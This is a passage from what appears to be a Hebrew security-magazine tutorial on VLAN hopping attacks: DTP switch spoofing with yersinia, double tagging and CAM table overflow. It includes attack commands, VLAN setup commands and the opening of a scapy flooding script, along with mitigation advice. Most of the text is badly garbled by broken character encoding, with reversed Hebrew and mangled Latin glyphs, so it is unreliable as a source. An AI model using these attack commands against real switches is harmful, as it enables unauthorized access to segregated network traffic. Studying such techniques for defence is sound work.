  .ˣ˸ˣ˞ ˣˮ˶ˡˠˢ ˞˪ ˭˧˧ˡ˰˷ ˡ˥˞ ˦˶ˣ˲ ˪˩˪ ˣ˸ˣ˞ ˣ˶˟˥ ˫˰˲ˢ ˨˞ ,˷ˡ˥ˬ ˪˟˩ˢ ˸˞ ˣ˶˟˥   ˶˟˥˪ ˧˸˶˥˟ ˧ˮ˞

-˪Dƛоκо : 
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  нр 
 

ˢ ˸ˮˣ˩ˬˬ ˠˮ˧˲ ˥ˣ˪˷˪ ˸˰˩ ˣ˯ˮ ,ˢ˪ˣ˰ˬ-Yŀƭƛ  ˶˟˰ ˪˞ ˫˩˪˷¢ŀǊƎŜǘ   ˸˟ˣ˸˩˟ ˞˧ˢ)млΦлΦлΦмл .( 

 

˟ ˸ˣ˞˴ˬˮ ˫ˮˬˣ˞ ˸ˣˮˣ˩ˬˢ ˧˸˷ .˧ˣ˲˴ ˧ˡ ˢˤˣ ˫˧˥˧˪˴ˬ ˞˪ ˣˮ˥ˮ˞-±[!bмл  ˬˢ ˧˸˷˟  ˶ˣ˷˧˵ˢ ˪˟˞ ,˫˧ˠ˸

˩ ˶ˡˠˣˬ ˞˪ ˫ˢ˧ˮ˧˟-¢Ǌǳƴƪ .ˣ˶˟˰˧ ˸ˣˠ˧ˣ˸ˬˢ ˸ˣ˪˧˟˥ˢ˷ ˢ˟˧˯ ˭˧˞˷ ˨˩ , 

ˢ ˸ˮˣ˩ˬ ˣ˧˪˞˷ ˠ˸ˬˢ ˪˞ ˶˟˥˸ˮ ˣ˞ˣ˟-Yŀƭƛ  ) ˸˶˟ˣ˥ˬ{²м :˞˟ˢ ˶˟ˡˢ ˸˞ ˣ˪˴˞ ˶˧ˡˠˮˣ ( 

{²м#ŎƻƴŦ ǘ 
{²м# όŎƻƴŦƛƎύІƛƴǘŜǊŦŀŎŜ ƎƛƎŀōƛǘ9ǘƘŜǊƴŜǘ оκо 
{²м όŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ƳƻŘŜ ŘȅƴŀƳƛŎ ŘŜǎƛǊŀōƭŜ 

  ˭˩ ˧ˮ˲˪ ˪˟˞ .ˢˡˣ˵˲ˢ ˪˷ ˸ˣ˰ˬ˷ˬˢ ˢˬ ˪˰ ˶˟ˡˮ ˰ˠ˶ ˡˣ˰-  ˢ ˸ˮˣ˩ˬˬ ˸ˣ˪˧˟˥ ˸˰˩ ˥ˣ˪˷˪ ˣ˯ˮ-Yŀƭƛ  

  ˶˟˰ ˪˞ ˫˩˪˷млΦлΦлΦмл : 

 

 ˥˧˪˴ˬ ˢˤ ˢˮ˧ˢˣJ 

  ˪˰ ˶˟ˡ ˫ˣ˷ ˣˮ˶ˡˠˢ ˞˪ ˧˶ˢ ?˭ˡ˰˧˪ ˸ˣ˰˧ˠˬ ˸ˣ˪˧˟˥ˢ ˨˧˞ ?˭˞˩ ˢ˶˵ ˢˬ ...˰ˠ˶{²н  ˞˪ ˥˦˟ˣ ˥˦˟ˣ !

 ˩  ˦˶ˣ˲ˢ ˸˞ ˣˮ˶ˡˠˢ-¢Ǌǳƴƪ  ˢ˪ˣ˰ˬ ˢ˪˞˷ ?ˡ˟ˣ˰ ˢˤ ˨˧˞ ˤ˞ !J 

" :ˢˡˣ˵˲ˢ ˸˞ ˣˮˡ˪˵ˢ˷˩ǎǿƛǘŎƘǇƻǊǘ ƳƻŘŜ ŘȅƴŀƳƛŎ ŘŜǎƛǊŀōƭŜ  ˦˶ˣ˲˪ ˣˮ˶ˡˠˢ "Dƛоκо  -˟{²м   ˶˟ˡˢ ˸˞

  ˟˴ˬ˪ ˯ˮ˩" :˞˟ˢ¢Ǌǳƴƪ  ˡˣ˸ˣ  ˟˴ˬ˪ ˶ˣ˟˰˪ ˨˧˶˴ ˫ˠ ˞ˣˢ˷ ˧ˮ˷ˢ ˡ˴˟ ˨˧˪˞ ˶˟˥˸ˬ˷ ˧ˬ ˪˩˪ ˰˧¢Ǌǳƴƪ  ."

 :ˣˡ˧˪˵˸ ˫˞ ,˟ˠ˞ˣǎƘƻǿ ƛƴǘŜǊŦŀŎŜ ǎǘŀǘǳǎ  ˟-{²н ˟˴ˬ˟ ˸ˣ˧ˢ˪ ˶˟˰ ˭˩˞ ˦˶ˣ˲ˢ˷ ˸ˣ˞˶˪ ˣ˪˩ˣ˸ ,ǘǊǳƴƪ : 

 

http://www.digitalwhisper.co.il/
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  нс 
 

  ˫˷˟ ˪ˣ˵ˣ˦ˣ˶˲ ˸ˣ˰˴ˬ˞˟ ?ˡ˟ˣ˰ ˢˤˢ ˫˯˵ˢ ˨˧˞5¢t  :ˣ˸ˣ˰ˬ˷ˬ˷ ˣ˵˯˧˯ ˪˷ ˪ˣ˵ˣ˦ˣ˶˲˟ ˶˟ˣˡˬ .

"5ȅƴŀƳƛŎ ¢Ǌǳƴƪ tǊƻǘƻŎƻƭ  .˶˥˞ ˠ˸ˬ˪ ˡ˥˞ ˠ˸ˬ ˫˧˶˟˥ˬ ˶˷˞˩ ˪ˣ˰˲˪ ˡ˰ˣˮ ˞ˣˢˣ " 

 ˟  ˨ˣˬ˸˪ ˪ˣ˩˧ ˠ˸ˬ˟ ˦˶ˣ˲-¢Ǌǳƴƪ  :˫˧˟˴ˬ ˶˲˯ˬ˟ 

¶ switchport mode trunk  π    ˡ˟ˣ˰ ˦˶ˣ˲ˢ˷ ˶ˬˣ˞ ˢ˪˷ ˸ˣ˰ˬ˷ˬˢ ,ˣˮ˷ˬ˸˷ˢ ˶˟˩ ˸˞ˤˢ ˢˡˣ˵˲˟

 ˪˷ ˟˴ˬ˪Trunk  .˧ˮ˷ˢ ˡ˴˟ ˷˧ ˢˬ˪ ˶˷˵ ˫ˣ˷ ˞˪˪ 

¶ switchport mode dynamic auto  π    ˟˴ˬ˪ ˦˶ˣ˲ˢ ˸˞ ˯˧ˮ˩ˬaccess    ˧ˮ˷ˢ ˡ˴˟ ˦˶ˣ˲ˢˣ ˢˡ˧ˬ˟ ˨˞

 ˞ˣˢTrunk  "˧˟˧˦˵˞"π  ˞ˣˢ ˫ˠ ˸ˣ˧ˢ˪ ˶ˣ˟˰˧ ˣ˸˧˞ ˫ˣ˶ˤ˧ ˦˶ˣ˲ˢTrunk . 

¶ switchport mode dynamic desirable  π    ˪˩ ˸˞ ˢ˷ˣ˰ ˞˧ˢˣ ,˸˰˩ ˣˮ˷ˬ˸˷ˢ ˢ˟˷ ˢˡˣ˵˲ˢ ˸˞ˤ

  ˟˴ˬ˪ ˦˶ˣ˲ˢ ˸˞ ˯˧ˮ˩ˬ ˞˧ˢ :˫˯˵ˢTrunk   ˞ ˪˷ ˸˶ˬˣ˞ ˸˞ˤ ."˧˟˧˦˵˞"  ˟ ˞˴ˬˮ ˞ˣˢ˷ ˵˶-Trunk  

  ˸ˣ˧ˢ˪ ˶ˣ˟˰˪ ˧ˮ˷ˢ ˡ˴ˢ ˸˞ "˰ˮ˩˷˪" ˢ˯ˮ˧ ˫ˠ ˞ˣˢTrunk  ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸ˣ˰˴ˬ˞˟ ˣˬ˴˰˟DTP  ˨˷ˬˢ˟ .

 ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˰ ˞ˣ˶˵˪ ˫˧˪ˣ˩˧ ˫˸˞ ,˫˧˧˸ˮ˧˟ .ˡ˴˧˩ ˢ˞˶ˮ˵˟ ˞ ˟ˢ ˶ˣ˷˧ . 

¶ switchport nonegotiate  π    ˟˴ˬ˪ ˦˶ˣ˲ˢ ˸˞ ˯˧ˮ˩ˬTrunk    ˸ˣ˪˧˟˥ ˫˰ "˫ˣ˶ˤ˪" ˣ˪ ˶˷˲˞ˬ ˞˪ ˪˟˞

DTP  .ˣ˵ˢ ˪˷ ˧ˮ˷ˢ ˣˡ˧˴ˬ ˸ˣ˰˧ˠˬ˷ 

  ˭˧˟ ˸ˣ˧ˢ˪ ˶ˣ˟˧˥ˢ ˸˞ ˣˮ˶˟˰ˢ˷ ˧˶˥˞ ˢ˶˵˷ ˢˬDƛоκо    ˞˪ ˡˣ˰ ˪˩ ,˪ˡ˥ˬ ˸˶˧˶˟˩˷ ˞ˣˢ ˫˧ˠ˸ˬˢ ˧ˮ˷˟

  ˸ˣ˧ˢ˪ ˦˶ˣ˲ˢ ˸˞ ˣˮ˶ˡˠˢŀŎŎŜǎǎ   ˟  ˣ˞ ˢ˶˧˷˧ ˢ˶ˣ˴˟- ƴƻƴŜƎƻǘƛŀǘŜ-    ˡ˴ˬ˟ ˸ˣ˧ˢ˪ ˶ˣ˟˰˪ ˭˩ˣˬ ˢ˧ˢ˧ ˞ˣˢ

¢Ǌǳƴƪ  ˸ˣ˪˧˟˥ ˪˟˵˧ ˞ˣˢ ˶˷˞˩5¢t . 

  ˪˴ˮ˪ ˫˧˪ˣ˩˧ ˱˵ˣ˸ ˶ˣ˸˟ ,ˣˮ˥ˮ˞ :˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˸ˡ˟ˣ˰ ˢ˲˵˸ˬˢ ˨˧˞ ˥˧˶ˢ˪ ˫˧˪˧˥˸ˬ ˶˟˩ ˫˸˞˷ ˧˪ ˢ˞˶ˮ

  ˶ˡˠˣˬ ˠ˸ˬ˪ ˣ˩˶ˡ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞˷ ˦˶ˣ˲ˢ ˣ˟˷ ˟˴ˬ˰ˠ˶˩  -˩ŀŎŎŜǎǎ    ˪˪ˠ˟ ˪˟˞ ,ˣˮ˪˷ ˸ˣ˪˧˟˥ ˶˧˟˰ˬˣ

 ˩  ˶ˡˠˣˬ ˞˪ ˞ˣˢ˷-ŀŎŎŜǎǎ    ˸ˣ˪˧˟˥ ˣ˧˪˞ ˥ˣ˪˷˪ ˪˩ˣˮ ˶˧˷˧ ˭˲ˣ˞˟5¢t  ˢ˪ ˣ˪ ˫ˣ˶ˠ˪ ˨˩˟ˣ  ˸ˣ˧ˢ˪ ˨ˣ˲¢Ǌǳƴƪ  

 ˢˤ˧˞˪ ˸ˣ˪˧˟˥ˢ ˸˞ ˥ˣ˪˷˪ ˣ˪ ˫ˣ˶ˠ˪ ˨˩ˣ ˸ˣ˪˧˟˥ˢ ˸˞ ˣˮˬ˴˰˟ ˠ˧˧˸˪ ˤ˞ˣ±[!b  !ˢ˴˶ˮ˷ 

  ˸ˣ˪˧˟˥ ˥ˣ˪˷˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˪˩ ,˫˴˰˟ ˤ˞5¢t  ˢ ˸˞ ˰˴˟˪ˣ-bŜƎƻǘƛŀǘƻƴ  ˢ ˸ˮˣ˩ˬ .ˣˮˬ˴˰˟-Yŀƭƛ  

 ˟  ˸˞˴ˬˮ ˰ˠ˶˩ ˣˮ˪˷-±[!bмл  ˩ ˶ˡˠˣˬ˷ ˦˶ˣ˲ ˪˰-ŀŎŎŜǎǎ˶ˣ˲˪ ˢ˸ˣ˞ ˣ˶˟˥ˣ ˢ˸ˣ˞ ˣ˵˸ˮ .  ˦Dƛоκн  ˫˸˞ .

˪ ˠˮ˧˲ ˸˸˪ ˥˧˪˴ˢ˪ ˫˧˶ˣˬ˞-t/м   ˟  ˞˴ˬˮ˷-млΦлΦлΦм    ˫˩ˬ˴˰˟ ˸ˣˮ˰˪ ˣ˯ˮ)-    ˞˪ ˫˸˞ ˪˟˞ (?˫˴˰˟ ˢˬ˪

˪ ˠˮ˧˲ ˥ˣ˪˷˪ ˥˧˪˴ˢ˪ ˫˧˶ˣˬ˞-¢ŀǊƎŜǘ˟ ˸˞˴ˬˮ˷ ,-млΦлΦлΦмл .   ˪˧˰˲ˮ ˣ˞ˣ˟ ,˪˧˥˸ˮ˷ ˧ˮ˲˪{ƴƛŦŦŜǊ    ˣ˵ˢ ˪˰

ˢ ˸ˮˣ˩ˬ ˭˧˟-Yŀƭƛ  ˭˧˟˪{²м  ˪˰ ˳˧˶ˮˣ ,{²м   ˢˡˣ˵˲ˢ ˸˞ǎƘƻǿ ƛƴǘŜǊŦŀŎŜ ǎǘŀǘǳǎ : 

 

http://www.digitalwhisper.co.il/
https://packetlife.net/blog/2008/sep/30/disabling-dynamic-trunking-protocol-dtp/
https://packetlife.net/blog/2008/sep/30/disabling-dynamic-trunking-protocol-dtp/
https://packetlife.net/blog/2008/sep/30/disabling-dynamic-trunking-protocol-dtp/
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 ˷  ˸ˣ˞˶˪ ˶˷˲˞-Dƛоκн  ˪˰ ˶ˡˠˣˬˣ ˶˟ˣ˥ˬ±[!bм  ˦˶ˣ˲ˣDƛоκо ˩ ˶ˡˠˣˬ-¢Ǌǳƴƪ . 

  ˸ˣ˪˧˟˥ ˸˥˧˪˷˪ ˫˧˪˩ ˦˰ˬ ˞˪ ˷˧5¢t  ˞ˣˢ ˶˸ˣ˧˟ ˫˯˶ˣ˲ˬˢ ˨˞ ,ȅŜǊǎƛƴƛŀ  ˡˣ˰ ˰˴˟˪ ˶˷˲˞ˬ ˢ˷˰ˬ˪˷ ,

  ˸ˣ˲˵˸ˬ ˪˪˷[ŀȅŜǊн  ˧"˰ ˟˸˩ˮ ˧˪˩ˢ .˸ˣ˟˧ˮˠˬ    ) ˰ˡ˧ˬ ˸˥˦˟˞ ˧˶˵ˣ˥ ˧ˮ˷5ŀǾƛŘ .ŀǊǊƻǎƻ  -x!ƭŦǊŜŘƻ 

!ƴŘǊŜǎ ˟  ˠ˴ˣˢˣ (-нллр   ˯ˮ˩˟.ƭŀŎƪIŀǘ ˸ˠ˴ˬˢ ˸˞ ˡ˧˶ˣˢ˪ ˶˷˲˞ . ˭ ˞˩ˬ . 

 ˟  ˫˰ ˰˧ˠˬ ˧˪˩ˢ-Yŀƭƛ˧˶ˣˢ˪ ˣ˪˩ˣ˸ ,˸˶˥˞ ˢ˴˲ˢ˟ ˫˧˷ˬ˸˷ˬ ˫˸˞ ˫˞ ˪˟˞ , :˭˞˩ˬ ˣ˸ˣ˞ ˡ 

ƘǘǘǇǎΥκκƎƛǘƘǳōΦŎƻƳκǘƻƳŀŎκȅŜǊǎƛƴƛŀ 

  ˵˷ˬˬ ˪˪ˣ˩ˣ ˷ˣˬ˧˷˪ ˦ˣ˷˲ ˧˪˩ˢ/[L ˧ ˲˞˶ˠ ˵˷ˬˬ ,-  ˣ˪˧˲˞ˣ ˭˧˦ˣ˪˥˪ ˧˲˞˶ˠ ˵˷ˬˬ ,˧˪˞ˣ˦˯˵˦ǇŀƎŜ Ƴŀƴ  .

 ˫˰ ˣ˸ˣ˞ ˳˧˶ˢ˪ ˶˷˲˞Ƙ-  :˞˪ˬ ˶˟˯ˢ ˪˟˵˪ ˧ˡ˩ 

 

  :˞˟ˢ ˭˲ˣ˞˟ ˧˪˩ˢ ˸˞ ˳˧˶ˢ˪ ˷˧ ,ˣˮ˪˷ ˢ˲˵˸ˬˢ ˸˞ ˵˷ˬˬ˪ ˧ˡ˩ 

ȅŜǊǎƛƴƛŀ ŘǘǇ -ŀǘǘŀŎƪ л 

 ˟  ˞ˣ˶˵˪ ˣ˪˩ˣ˸)-Ƴŀƴ ˢ ˪˰ˣ ˸ˣ˲˵˸ˬˢ ˧ˠˣ˯ ˪˰-{ȅƴǘŀȄ .( 

  

http://www.digitalwhisper.co.il/
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Berrueta_Andres/BH_EU_05_Berrueta_Andres.pdf
https://github.com/tomac/yersinia
https://linux.die.net/man/8/yersinia
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˧˟˵ˬ˟ ˪˩˸˯ˮˣ ˳˧˶ˮ ˣ˞ˣ˟ˢ ˪˰ ˪-²ƛǊŜǎƘŀǊƪ -  :ˢˮˣ˷˞˶ˢ ˢ˪˧˟˥˟ ˸ˣ˞˶˪ ˶˷˲˞ 

 

ˬ ˶ˣ˟˰˪ ˢ˷˵˟ˢ ˸˞-лȄло  )!ŎŎŜǎǎκ5ŜǎƛǊŀōƭŜ :ˢ˟ˣ˷˸ˢ ˸˞ ˭˩ˬ ˶˥˞˪ˣ .( 

 

˪ ˶˟˰ ˶ˣ˟˧˥ˢ˷ ˨˩ ˪˰-лȄуп  )¢Ǌǳƴƪκ!ǳǘƻ .( 

  

http://www.digitalwhisper.co.il/
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ˢ ˟˴ˬ ˪˰ ˪˩˸˯ˮ ˭˩˞ ˫˞ˣ-LƴǘŜǊŦŀŎŜ  ˟-{²м : 

 

˟ ˸ˣ˪˧˟˥ ˸˰˩ ˠ˧˧˸ˮ ˫˞˷ ˶ˬˣ˞ ˢˤ ,ˢ˶ˣ˷˩ ˡ˟˰ ˪˩ˢ ˫˞-±[!bмл  ˢ ˸ˮˣ˩ˬˬ ˭˸ˣ˞ ˥˪˷ˮˣ-Yŀƭƛ    ,ˣˮ˪˷

˪ ˰˧ˠˢ˪ ˥˧˪˴ˢ˪ ˫˧˶ˣˬ˞ ˣˮ˥ˮ˞-¢ŀǊƎŜǘ :˸˞ˤ ˵ˣˡ˟ˮ ˣ˞ˣ˟ . 

 ˱˧˯ˣˮ±[!bмл   ˸ˣ˰˴ˬ˞˟ǾŎƻƴŦƛƎ ˪ ˠˮ˧˲ ˥˪˷ˮˣ-¢ŀǊƎŜǘ  :˷ˡ˥ˢ ˵˷ˬˬˢ ˨˶ˡ 

ǾŎƻƴŦƛƎ ŀŘŘ ŜǘƘл мл 
ǇƛƴƎ -L ŜǘƘлΦмл млΦлΦлΦмл 

ˢ ˫˰ ˢ˪˧˟˥ˢ ˪˷ ˢ˥˧˪˷ˢ ˸˞ ˸ˣ˞˶˪ ˶˷˲˞ ˭˩˞ ˣ˵ˢ ˪˰-±[!b L5  :˧ˮ˷ˢ ˡ˴ˢˬ ˸ˣ˟ˣ˷˸ˢ ˸˞ˣ ˭ˣ˩ˮˢ 

 

˟ˣ-Yŀƭƛ : 

 

http://www.digitalwhisper.co.il/
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 :˸˰ˡ˪ ˟ˣ˷˥˷ ˸ˣˡˣ˵ˮ / ˸ˣ˪˟ˠˬ 

¶   ˸ˣ˧ˢ˪ ˨˲ˣˢ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞ ˣ˩˶ˡ ˦˶ˣ˲ˢ ,ˢ˲˵˸ˬˢ ˭ˬˤ˟Trunk  ,˸ˣˠ˧ˣ˸ˬ ˣ˰˧ˠ˧ ˸ˣ˪˧˟˥ˢ ˪˩ ˭˩˪ˣ ,

  ˟˷˥ˬˢ ˫˰ ˸˧˶ˣ˵ˬˢ ˸˶ˣ˷˵˸ˢ ˭˩˪ˣ ˸ˣ˪˧˟˥ˢ ˸˞ ˱˪˵˪ ˸˷˶ˡˮ ˞˧ˢ˷ ˸˰ˡˣ˧ ˢˮ˧˞ ˢ˴˵ˢ ˸ˡˬ˰

  ˸˰˴˟˸ˬ ˣˮˬˬ s ˷ ˢ˶˵ˬ˟ ˡ˟˪ˬ ˫˧˶˵ˬˢ ˪˪˩˪ ˱˵˸ ˢ˧ˢ˧ ˶˟ˡˢ .˭˧˦ˣ˪˥˪ ˫˯˥˸ ˢ˲˵˸ˬˢ-VLAN  

ˢ ˞ˣˢ ˣˮ˧˧ˢ ˣ˟˷ ˧˶ˣ˵ˬˢ-Native VLAN  ˸˲˯ˣˢ ˧"˰ ˪"ˮˢ ˢˡ˟ˣ˰ˢ ˫˰ ˡˡˣˬ˸ˢ˪ ˭˸˧ˮ ,˸˞ˤ ˫˰ .

Interface   ˟  ˷ˡ˥-VLAN    ˟˷˥ˬˢ ˪˷ ˸˧˰˟˦ˢ ˸˶ˣ˷˵˸ˢ ˪˩ ˸˞ ˟˸ˮ˪ˣ ˫˧˞˴ˬˮ ˣˮ˥ˮ˞ ˣ˟ ˧˶ˣ˵ˬˢ

˧˧˥ ˣˮ˥ˮ˞ ˢˤ ˪˧˟˷˟ ˪˟˞ .ˣ˩˶ˡˢ ˢˬ ˷˞˶ˬ ˸˰ˡ˪ ˫˧˟-VLAN  .˫˧˞˴ˬˮ ˣˮ˥ˮ˞ ˣ˟˷ 
 

¶   ˨˩˪ ˟˪ ˫˧˷˪ ˪ˣ˪˰ ˠ˸ˬˢ ˸˞ ˪ˢˮˬ˷ ˧ˬ ˣˮ˪˷ ˢ˲˵˸ˬˢ ˪˷ ˢ˶˵ˬ˟ ,˸ˬˡˣ˵ˢ ˢ˲˵˸ˬ˟ ˣˬ˩ ˞˪˷

 ˪˷ ˟˴ˬ˪ ˶˟˰ ˦˶ˣ˲ˢ˷Trunk .'ˣ˩ˣ ˫˧ˠˣ˪ ˸˩˶˰ˬ˟ ˫˷˶ˢ˪ ˪ˣ˪˰ ˶˟ˡˢ , 

 

 

 :ˢ˲˵˸ˬˢ ˡˠˮ˩ ˸ˣˡˡˣˬ˸ˢ 

¶   ˠˣ˯ˬ ˫˧˵˷ˬˬ ˫˧ˠ˲ˮ˵ˬ ˫˸˞˷˩access  ˪˷ ˟˴ˬ˟ ˫˸ˣ˞ ˣˠ˲ˮ˵˸ ˪˞ ,dynamic desirable    ˣ˞

dynamic auto . 

¶ ˟ ˢ˩˧ˬ˸ˢ ˸˞ ˫˧˦˶ˣ˲ˢ ˪˩˟ ˣ˪˦˟-DTP    ˠ˸ˬ˪ ˧ˮ˷ˢ ˣˡ˧˴˟ ˶˟˥˸ˬ ˦˶ˣ˲ˢ ˫˞ ,˫˧˵˷ˬˬˢ ˪˪˩ ˪˰

  ˶˥˞-   ˢ˧ˢ˧˷ ˣ˸ˣ˞ ˣˠ˲ˮ˵Trunk  .˧ˮˡ˧ ˭˲ˣ˞˟ 

 

http://www.digitalwhisper.co.il/


 
 

 -     ±[!b IƻǇǇƛƴƎ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 
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/!a CƭƻƻŘƛƴƎ   //!a ¢ŀōƭŜ hǾŜǊŦƭƻǿ 

  ˸ˣˬˡˣ˵ˢ ˸ˣ˲˵˸ˬˢ ˧˸˷ ˣˬ˩ ˞˪˷ ˨˞ ,˸ˡ˟ˣ˰ ˫ˮˬˣ˞ ˢ˞˟ˢ ˢ˲˵˸ˬˢ-   ˭˧˟ˢ˪ ˸ˮˬ ˪˰ .ˢˬ˧˪˞ ˡˣ˞ˬ ˞˧ˢ

 :˷ˡ˥ ˶˩ˣˬ ˶˧˩ˢ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˢ˪˷ ˭ˣ˧˰˶ˢ ˸˞/!a ¢ŀōƭŜ . 

  ˫˷˟ ˢ˪˟˦ ˣ˪˷ ˭ˣ˶˩˧ˤ˟ ˵˧ˤ˥ˬ ˠ˸ˬ ˪˩/!a  ˪˷ ˶ˣ˴˧˵ ,/ƻƴǘŜƴǘ !ŘŘǊŜǎǎŀōƭŜ aŜƳƻǊȅ  ˞ˣˢ ˢˡ˧˵˲˸ .

  ˸˟ˣ˸˩ ˣˤ˧˞ ˶ˣ˩ˤ˪ ˠ˸ˬ˪ ˶˷˲˞˪a!/   ˓˪ ˶˷˲˞˪ ˞ˣˢ ˢ˪˷ ˢ˶˦ˬˢ .˧ˤ˧˲ ˦˶ˣ˲ ˢˤ˧˞ˬ ˢˡˬ˪ˮ ˑˬ ˑ˪ ˠ˸ ˓ˬ  ˠ˸

  "˪˧ˠ˶" ˟˴ˬ˟ .ˢ˪˧˰˧ˣ ˢˤ˧˶ˤ ˢ˶ˣ˴˟ ˸ˣ˪˧˟˥-  ˸˩ ˸ˬ˧˧˵ ˧ˤ˧˲ ˦˶ˣ˲ ˪˩ ˧˶ˣ˥˞ˬ  ˸˟ˣa!/    ˪˟˞ ,˸˥˞

  ˡ˥˞ ˧ˤ˧˲ ˦˶ˣ˲ ˨˶ˡ ˶˟ˣ˥ˬ ˸ˣ˧ˢ˪ ˧ˣ˷˰ ˣˮ˪˷ ˠ˸ˬˢ (ˣˮˬ˵ˢ˷ ˢˡ˟˰ˬ˟ ˣˬ˩ ,˟ˠ˞) ˸ˣ˪ˣˡˠ ˦˰ˬ ˸ˣ˸˷˶˟

  ˸ˣ˟ˣ˸˩ ˭˸ˣ˞ ˪˩ ˪˰ ˡˣˬ˪˪ ˢˤˢ ˧ˤ˧˲ˢ ˦˶ˣ˲ˢˬ ˨˩ˣ ,˶˥˞ ˠ˸ˬ˪a!/  .˱˯ˣˮ ˠ˸ˬ ˣ˸ˣ˞˪ ˸ˣ˶˟ˣ˥ˬˢ 

  ˸ˣˡˬ˰ˢˬ ˫˧ˠˮ˧˲ ˣ˰˴˟ ,ˢ˞˶ˮ ˣ˞ˣ˟t/н   x-¢ŀǊƎŜǘ    ˸ˣ˶˟ˣ˥ˬˢ ˸ˣˡˬ˰ˢ ˶˟˰ ˪˞-˪{²м   ˪  ˣ˯ˮ˩ ˭˩ˬ ˶˥˞˪ˣ-

{²м   :ˣˡ˧˪˵ˢˣ 

ǎƘƻǿ ƳŀŎ ŀŘŘǊŜǎǎ-ǘŀōƭŜ ŘȅƴŀƳƛŎ 

:ˢˤ˩ ˣˢ˷ˬ ˪˟˵˪ ˫˧˶ˣˬ˞ ˫˸˞ 

 

  ˫˸˷˥˧ˮ ˥˦˟˷ ˣˬ˩ ,˸˞ˤˢ ˢ˪˟˦˪-    ˸ˣ˞˯˶ˠˢˬ ˵˪˥ .˪ˣ˪˩˪ ˢ˪ˣ˩˧ ˞˧ˢ˷ ˸ˣˬˣ˷˶ ˪˷ ˧˲ˣ˯ ˪ˣ˟ˠ ˷˧

  ˡ˰ ˸ˣ˶˷˲˞ˬмлл    ˡ˰ (˫˧˟˧˩˶ˢ ˟˶) ˵˪˥˟ˣ ˸ˣˬˣ˷˶мллΣллл  .˸ˣˬˣ˷˶ 

  ˨˩˪ ˠˣ˞ˡ˪ ˣ˞ ,ˠ˸ˬˢ ˸˞ ˯˧˶˵ˢ˪ ˫ˣ˵ˬ˟˷ ˣ˦˧˪˥ˢ ˣ˵˯˧˯ ?ˢ˲ˣ˯ ˡ˰ ˞˪ˬ˸˸ ˸˞ˤˢ ˢ˪˟˦ˢ ˫˞ ˢ˶˵˧ ˢˬ

 ˸ˣˬˣ˷˶ ˶˸ˣ˧ ˦ˣ˪˵˪ ˪˩ˣ˧ ˞˪ ˞ˣˢ˷-    ˸ˣ˧ˢ˪ ˨ˣ˲ˢ˧ ˦ˣ˷˲ ˞ˣˢIǳō  :˭ˣ˩ˮ ˫˧˞˶ˣ˵ ˫˸˞ ,˭˩ .  ˢ˪˟˦ˢˣ ˢˡ˧ˬ˟

˲ˢ ˫˧˦˶ˣ˲ˢ ˪˪˩˪ ˶ˡˣ˷˸ ˫˧˧ˤ˧˲ˢ ˫˧˦˶ˣ˲ˢ ˡ˥˞˪ ˯ˮ˩˸˷ ˢ˪˧˟˥ ˪˩ ,ˢ˲ˣ˯ ˡ˰ ˞˪ˬ˸˸ ˸˞ˤˢ  ˫˧˧ˤ˧

˟ ˸ˣ˪˸ ˞˪˪ .˟˧˩˶˟-±[!b  ˦˶ˣ˲ˢ ˠˣ˯˟ ˣ˞ ˫ˢ˪˷ . 

  ˸ˣ˟ˣ˸˩ ˫˸˯ˬ ˸ˣ˪˧˟˥ ˫˸˯ ˶ˡ˷˪ ˪˧˥˸ˢ˪ :ˡˣ˞ˬ ˦ˣ˷˲ ?˸˞ˤˢ ˢ˪˟˦ˢ ˸˞ ˱˧˴ˢ˪ ˶˷˲˞ ˨˧˞a!/  

 .˞˪ˬ˸˸ ˞˪˷ ˢ˪˟˦ˢ˷ ˡ˰ ˭˸ˣ˞ ˡˣˬ˪˪ ˠ˸ˬ˪ ˸˸˪ˣ ˸˷˶˟ ˸ˣ˧˞˶˵˞ 

 :˭˧˧ˮ˰ˢ ˸˞ ˭ˣ˥˟˪ ˧ˡ˩ 

¶ ˢ ˸ˡˬ˰ ˸˞ ˶˧˟˰ˮ-Kali   ˪  ˣˮ˪˷-VLAN10  ˟˪˷˟˷ ˭˧ˬ˞ˬ ˧ˮ˞)    ˸˞ˤ ˸ˣ˷˰˪ ˸˰ˡ˪ ˫˧˶ˣˬ˞ ˫˸˞ ˢˤ

 ˭˩ˬ ˶˥˞˪ ,ˡ˟˪- ˪ ˠˮ˧˲ ˣ˥˪˷-Target  ˪  ˢˮˣ˩ˬˢ ˸˞ ˶˧˟˰ˢ˪ ˫˸˥˪˴ˢ ˭˩˞˷ ˞ˡˣˣ˪-VLAN  .˭ˣ˩ˮˢ 

¶  s  ˸˪˟˦ ˸˞ ˱˧˴ˮ-CAM ˢ ˸ˡˬ˰ˬ ˠˮ˧˲ ˥˪˷ˮ ˭˩ˬ ˶˥˞˪ˣ-Kali  ˶˟˰ ˪˞ ˣˮ˪˷PC1   ˸˟ˣ˸˩˟)10.0.0.1 ( 
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  он 
 

ˢ ˸ˡˬ˰ ˸˞ ˫˸˶˟˰ˢ˷ ˧˶˥˞-Yŀƭƛ  -˪±[!bмл   ˪  ˠˮ˧˲ ˸˸˪ ˫˸˥˪˴ˢˣ-¢ŀǊƎŜǘ  ˸˞ ˱˧˴ˢ˪ ˭ˬˤˢ ˰˧ˠˢ .

 :˸˞ˬˠˣˡ˩ ,˭ˣ˸˧˧˲ ˦˲˧˶˵˯ ˧"˰ ˸˞ˤ ˸ˣ˷˰˪ ˶˷˲˞ ,ˠ˸ˬˢ 

#!/usr/bin/env python  

from  scapy . all import  Ether ,  IP ,  TCP,  RandIP ,  RandMAC,  sendp  

 

 

'''Filling packet_list with ten thousand random Ethernet packets  

   CAM overflow attacks need to be super fast.  

   For that reason it's better to create a packet list before hand.  

'''  

 

